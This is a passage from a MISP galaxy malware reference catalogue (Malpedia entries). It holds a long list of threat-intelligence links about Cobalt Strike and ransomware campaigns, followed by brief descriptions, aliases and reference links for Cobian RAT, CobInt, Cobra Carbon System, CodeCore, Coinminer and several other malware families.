https://blog.malwarebytes.com/threat-intelligence/2022/07/cobalt-strikes-again-uac-0056-continues-to-target-ukraine-in-its-latest-campaign/
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html
https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://twitter.com/felixw3000/status/1521816045769662468
https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://twitter.com/cglyer/status/1480742363991580674
https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/
https://www.mandiant.com/resources/unc2452-merged-into-apt29
https://twitter.com/TheDFIRReport/status/1359669513520873473
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671
https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion
https://www.secureworks.com/research/threat-profiles/bronze-riverside

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://www.youtube.com/watch?v=6SDdUVejR2w
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://assets.virustotal.com/reports/2021trends.pdf
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
https://cert.gov.ua/article/619229
https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/
https://www.mandiant.com/resources/evolution-of-fin7
http://www.secureworks.com/research/threat-profiles/gold-drake
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://github.com/sophos-cybersecurity/solarwinds-threathunt
https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.secureworks.com/research/threat-profiles/gold-waterfall
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://www.prevailion.com/what-wicked-webs-we-unweave/
https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting
https://www.guidepointsecurity.com/yet-another-cobalt-strike-loader-guid-edition/
https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html
https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot
https://attack.mitre.org/groups/G0096
https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html
https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41
https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts

https://www.mandiant.com/resources/russian-targeting-gov-business
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf
https://www.secureworks.com/research/threat-profiles/gold-dupont
https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/
https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/
https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/
https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/
https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/
https://intel471.com/blog/shipping-companies-ransomware-credentials
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/
https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md
https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://isc.sans.edu/diary/26752
https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/
https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/
https://mez0.cc/posts/cobaltstrike-powershell-exec/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/
https://twitter.com/AltShiftPrtScn/status/1350755169965924352
https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv
https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/
https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718
https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html
https://twitter.com/swisscom_csirt/status/1354052879158571008
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/
https://www.youtube.com/watch?v=C733AyPzkoc
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos
https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://blog.macnica.net/blog/2020/11/dtrack.html
https://twitter.com/Unit42_Intel/status/1458113934024757256
https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/
https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e
https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950[https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950]
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://dansec.medium.com/detecting-malicious-c2-activity-spawnas-smb-lateral-movement-in-cobaltstrike-9d518e68b64
https://blogs.blackberry.com/en/2022/01/log4u-shell4me
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf
https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728
https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control

https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730
https://www.youtube.com/watch?v=y65hmcLIWDY
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/
https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/
https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20
https://zero.bs/cobaltstrike-beacons-analyzed.html
https://www.arashparsa.com/catching-a-malware-with-no-name/
https://www.varonis.com/blog/hive-ransomware-analysis
https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/
https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf
https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#
https://www.darktrace.com/en/blog/catching-apt-41-exploiting-a-zero-day-vulnerability/
https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/
https://thedfirreport.com/2022/04/25/quantum-ransomware/
https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
https://twitter.com/TheDFIRReport/status/1356729371931860992
https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/
https://blog.nviso.eu/2021/11/03/cobalt-strike-using-process-memory-to-decrypt-traffic-part-3/
https://www.bitsight.com/blog/emotet-botnet-rises-again
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack
https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf
https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services
https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/
https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf
https://breakpoint-labs.com/blog/cobalt-strike-and-ransomware-tracking-an-effective-ransomware-campaign/
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf
https://www.hhs.gov/sites/default/files/bazarloader.pdf
https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/
https://twitter.com/redcanary/status/1334224861628039169
https://isc.sans.edu/diary/rss/28934
https://blog.group-ib.com/apt41-world-tour-2021
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html
https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors
https://thedfirreport.com/2022/03/07/2021-year-in-review/

https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://community.riskiq.com/article/c88cf7e6
https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/
https://thedfirreport.com/2021/05/12/conti-ransomware/
https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike
https://skyblue.team/posts/scanning-virustotal-firehose/
https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://blog.morphisec.com/proxyshell-exchange-exploitation-now-leads-to-an-increasing-amount-of-cobaltstrike-backdoors
https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/
https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/
https://twitter.com/MBThreatIntel/status/1412518446013812737
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://web.br.de/interaktiv/ocean-lotus/en/
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://twitter.com/Unit42_Intel/status/1461004489234829320
https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
https://netresec.com/?b=214d7ff
https://www.arashparsa.com/hook-heaps-and-live-free/
https://www.qurium.org/alerts/targeted-malware-against-crph/
https://www.malware-traffic-analysis.net/2021/09/29/index.html
https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes
https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/
https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://isc.sans.edu/diary/28636
https://blogs.blackberry.com/en/2021/11/zebra2104
https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.inde.nz/blog/different-kind-of-zoombomb
https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/
https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153
https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/
https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://twitter.com/VK_Intel/status/1294320579311435776
https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage
https://www.cynet.com/understanding-squirrelwaffle/
https://blog.cobaltstrike.com/
https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html
https://www.accenture.com/us-en/blogs/cyber-defense/karakurt-threat-mitigation
http://www.secureworks.com/research/threat-profiles/gold-winter
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/

https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/
https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://isc.sans.edu/diary/rss/28664
https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/
https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/
https://blog.morphisec.com/log4j-exploit-hits-again-vulnerable-vmware-horizon-servers-at-risk
https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/
https://twitter.com/AltShiftPrtScn/status/1385103712918642688
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/#id3
https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929
https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468
https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html
https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/
https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html
https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book
https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/
https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/
https://elastic.github.io/security-research/intelligence/2022/01/02.collecting-cobalt-strike-beacons/article/
https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/
https://explore.group-ib.com/htct/hi-tech_crime_2018
https://redcanary.com/blog/getsystem-offsec/

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf
https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html
https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures
https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/
https://redcanary.com/blog/gootloader
https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/
https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728
https://blog.zsec.uk/cobalt-strike-profiles/
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://us-cert.cisa.gov/ncas/alerts/aa21-265a
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html
https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a
https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/
https://www.mandiant.com/resources/apt41-us-state-governments
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e
https://paper.seebug.org/1301/
https://github.com/blackorbird/APT_REPORT/blob/master/Oceanlotus/apt32_report_2019.pdf
https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf
https://cyber.wtf/2022/03/23/what-the-packer/

https://twitter.com/AltShiftPrtScn/status/1403707430765273095
https://www.mandiant.com/resources/defining-cobalt-strike-components
https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates
https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/
https://elastic.github.io/security-research/intelligence/2022/01/03.extracting-cobalt-strike-beacon/article/
https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/
https://cert.gov.ua/article/37704
https://malwarebookreports.com/cryptone-cobalt-strike/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a
https://michaelkoczwara.medium.com/mapping-and-pivoting-cobalt-strike-c2-infrastructure-attributed-to-cve-2021-40444-438786fcd68a
https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/
https://cert.gov.ua/article/339662
https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot
https://www.istrosec.com/blog/apt-sk-cobalt/
https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://www.youtube.com/watch?v=gfYswA_Ronw
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_291118.pdf
https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/
https://www.ironnet.com/blog/ransomware-graphic-blog
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang
https://www.lac.co.jp/lacwatch/people/20180521_001638.html
https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear
https://isc.sans.edu/diary/rss/28448
https://community.riskiq.com/article/0bcefe76
https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20
https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/
https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://blog.talosintelligence.com/2021/05/ctir-case-study.html
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon
https://experience.mandiant.com/trending-evil-2/p/1
https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf
https://www.ic3.gov/Media/News/2021/210823.pdf
https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/
https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/
https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/
https://thedfirreport.com/2020/10/08/ryuks-return/
https://www.youtube.com/watch?v=LA-XE5Jy2kU
https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader
https://www.trendmicro.com/en_us/research/20/i/u-s—justice-department-charges-apt41-hackers-over-global-cyberattacks.html
https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/
https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/
https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt

Cobian RAT

The tag is: *misp-galaxy:malpedia="Cobian RAT"*

Cobian RAT is also known as:

Table 1897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat
https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat
https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager. It's CRM mailslot module was also observed being downloaded by ISFB.

The tag is: *misp-galaxy:malpedia="CobInt"*

CobInt is also known as:

- COOLPANTS

Table 1898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.group-ib.com/blog/renaissance
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/
https://www.netscout.com/blog/asert/double-infection-double-fun

Cobra Carbon System

The tag is: *misp-galaxy:malpedia="Cobra Carbon System"*

Cobra Carbon System is also known as:

- Carbon

Table 1899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra
https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf
https://docs.broadcom.com/doc/waterbug-attack-group
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra
https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf
https://www.circl.lu/pub/tr-25/
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://www.youtube.com/watch?v=FttiysUZmDw
https://github.com/hfiref0x/TDL
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

CockBlocker

The tag is: *misp-galaxy:malpedia="CockBlocker"*

CockBlocker is also known as:

Table 1900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker
https://twitter.com/JaromirHorejsi/status/817311664391524352

CodeKey

The tag is: *misp-galaxy:malpedia="CodeKey"*

CodeKey is also known as:

Table 1901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf

CodeCore

Ransomware.

The tag is: *misp-galaxy:malpedia="CodeCore"*

CodeCore is also known as:

Table 1902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.code_core
https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a

Cohhoc

The tag is: *misp-galaxy:malpedia="Cohhoc"*

Cohhoc is also known as:

Table 1903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

Coinminer

Coinminer is an unwanted malicious software which uses the victim's computational power (CPU and RAM mostly) to mine for coins (for example Monero or Zcash). The malware achieves persistence by adding one of the opensource miners on startup without the victim's consensus. Most sophisticated coin miners use timer settings or cap the CPU usage in order to remain stealthy.

The tag is: *misp-galaxy:malpedia="Coinminer"*

Coinminer is also known as:

Table 1904. Table References

Links
